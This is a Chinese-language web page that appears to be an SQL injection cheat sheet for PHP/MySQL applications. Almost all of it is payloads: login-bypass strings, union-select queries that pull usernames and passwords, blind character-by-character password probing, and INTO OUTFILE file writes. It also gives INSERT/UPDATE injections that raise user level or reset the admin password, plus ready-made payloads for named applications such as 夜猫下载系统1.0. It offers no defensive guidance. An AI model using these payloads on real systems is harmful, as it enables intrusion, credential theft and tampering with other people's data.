PHP注射一路小跑

2023-12-04 0 997

  php注射

  \’ or 1=1

  \’ or \’1=1

  \’/*

  \’%23

  \’ and password=\’mypass

  id=-1 union select 1,1,1

  id=-1 union select char(97),char(97),char(97)

  id=1 union select 1,1,1 from members

  id=1 union select 1,1,1 from admin

  id=1 union select 1,1,1 from user

  userid=1 and password=mypass

  userid=1 and mid(password,3,1)=char(112)

  userid=1 and mid(password,4,1)=char(97)

  and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)

  \’ and LENGTH(password)=\’6(探测密码长度)

  \’ and LEFT(password,1)=\’m

  \’ and LEFT(password,2)=\’my

  …………………………依次类推

  \’ union select 1,username,password from user/*

  \’ union select 1,username,password from user/*

  =\’ union select 1,username,password from user/* (可以是1或者=后直接跟)

  99999\’ union select 1,username,password from user/*

  \’ into outfile \’c:/file.txt (导出文件)

  =\’ or 1=1 into outfile \’c:/file.txt

  1\’ union select 1,username,password from user into outfile \’c:/user.txt

  select password FROM admins where login=\’John\’ INTO DUMPFILE \’/path/to/site/file.txt\’

  id=\’ union select 1,username,password from user into outfile

  id=-1 union select 1,database(),version() (灵活应用查询)

  常用查询测试语句,

  select * FROM table where 1=1

  select * FROM table where \’uuu\’=\’uuu\’

  select * FROM table where 1<>2

  select * FROM table where 3>2

  select * FROM table where 2<3

  select * FROM table where 1

  select * FROM table where 1+1

  select * FROM table where 1–1

  select * FROM table where ISNULL(NULL)

  select * FROM table where ISNULL(COT(0))

  select * FROM table where 1 IS NOT NULL

  select * FROM table where NULL IS NULL

  select * FROM table where 2 BETWEEN 1 AND 3

  select * FROM table where \’b\’ BETWEEN \’a\’ AND \’c\’

  select * FROM table where 2 IN (0,1,2)

  select * FROM table where CASE WHEN 1>0 THEN 1 END

  例如:夜猫下载系统1.0版本

  id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

  union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)

  union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51

  …………………………………………………………

  例如2:灰色轨迹 变换id进行测试(meteor)

  union%20(select%20allowsmilies,public,userid,\’0000-0-0\’,user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate

  union%20(select%20allowsmilies,public,userid,\’0000-0-0\’,pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

  构造语句:

  select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)

  select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)

  union%20(select%201,0,2,\’1999-01-01\’,\’a\’,password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate

  union%20(select%201,0,12695,\’1999-01-01\’,\’a\’,password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate

  union%20(select%201,0,12695,\’1999-01-01\’,\’a\’,userid%20FROM%20user%20where%20username=\’sandflee\’)%20order%20by%20eventdate (查沙子的id)

  (select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)

  select * FROM article where articleid=\’$id\’ union select * FROM……(字段和数据库相同情况下,可直接提交)

  select * FROM article where articleid=\’$id\’ union select 1,1,1,1,1,1,1 FROM……(不同的情况下)

  特殊技巧:在表单,搜索引擎等地方写:

  "___"

  ".__ "

  "%

  %\’ ORDER BY articleid/*

  %\’ ORDER BY articleid#

  __\’ ORDER BY articleid/*

  __\’ ORDER BY articleid#

  $command = "dir c:";system($command);

  select * FROM article where articleid=\’$id\’

  select * FROM article where articleid=$id

  1\’ and 1=2 union select * from user where userid=1/* 句中变为

  (select * FROM article where articleid=\’1\’ and 1=2 union select * from user where userid=1/*\’)

  1 and 1=2 union select * from user where userid=1

  语句形式:建立一个库,插入:

  create DATABASE `injection`

  create TABLE `user` (

  `userid` int(11) NOT NULL auto_increment,

  `username` varchar(20) NOT NULL default \’\’,

  `password` varchar(20) NOT NULL default \’\’,

  PRIMARY KEY (`userid`)

  ) ;

  insert INTO `user` VALUES (1, \’swap\’, \’mypass\’);

  插如一个注册用户:

  insert INTO `user` (userid, username, password, homepage, userlevel) VALUES (\’\’, \’$username\’, \’$password\’, \’$homepage\’, \’1\’);

  "insert INTO membres (login,password,nom,email,userlevel) VALUES (\’$login\’,\’$pass\’,\’$nom\’,\’$email\’,\’1\’)";

  insert INTO membres (login,password,nom,email,userlevel) VALUES (\’\’,\’\’,\’\’,\’\’,\’3\’)#\’,\’1\’)

  "insert INTO membres SET login=\’$login\’,password=\’$pass\’,nom=\’$nom\’,email=\’$email\’";

  insert INTO membres SET login=\’\’,password=\’\’,nom=\’\’,userlevel=\’3\’,email=\’\’

  "insert INTO membres VALUES (\’$id\’,\’$login\’,\’$pass\’,\’$nom\’,\’$email\’,\’1\’)";

  update user SET password=\’$password\’, homepage=\’$homepage\’ where id=\’$id\’

  update user SET password=\’MD5(mypass)\’ where username=\’admin\’#)\’, homepage=\’$homepage\’ where id=\’$id\’

  "update membres SET password=\’$pass\’,nom=\’$nom\’,email=\’$email\’ where id=\’$id\’";

  update membres SET password=\'[PASS]\’,nom=\’\’,userlevel=\’3\’,email=\’ \’ where id=\'[ID]\’

  "update news SET Votes=Votes+1, score=score+$note where idnews=\’$id\’";

  长用函数:

  DATABASE()

  USER()

  SYSTEM_USER()

  SESSION_USER()

  CURRENT_USER()

  比如:

  update article SET title=$title where articleid=1 对应函数

  update article SET title=DATABASE() where id=1

  #把当前数据库名更新到title字段

  update article SET title=USER() where id=1

  #把当前 MySQL 用户名更新到title字段

  update article SET title=SYSTEM_USER() where id=1

  #把当前 MySQL 用户名更新到title字段

  update article SET title=SESSION_USER() where id=1

  #把当前 MySQL 用户名更新到title字段

  update article SET title=CURRENT_USER() where id=1

  #把当前会话被验证匹配的用户名更新到title字段

  :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

  $req = "select * FROM membres where name like \’%$search%\’ ORDER BY name";

  select * FROM membres where name like \’%%\’ ORDER BY uid#%\’ ORDER BY name

  select * FROM membres where name like \’%%\’ ORDER BY uid#%\’ ORDER BY name

  select uid FROM admins where login=\’\’ OR \’a\’=\’a\’ AND password=\’\’ OR \’a\’=\’a\’ (经典)

  select uid FROM admins where login=\’\’ OR admin_level=1#\’ AND password=\’\’

  select * FROM table where msg like \’%hop\’

  select uid FROM membres where login=\’Bob\’ AND password like \’a%\’#\’ AND password=\’\’

  select * FROM membres where name like \’%%\’ ORDER BY uid#%\’ ORDER BY name

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悠久资源 漏洞分析 PHP注射一路小跑 https://www.u-9.cn/security/fenxi/73582.html

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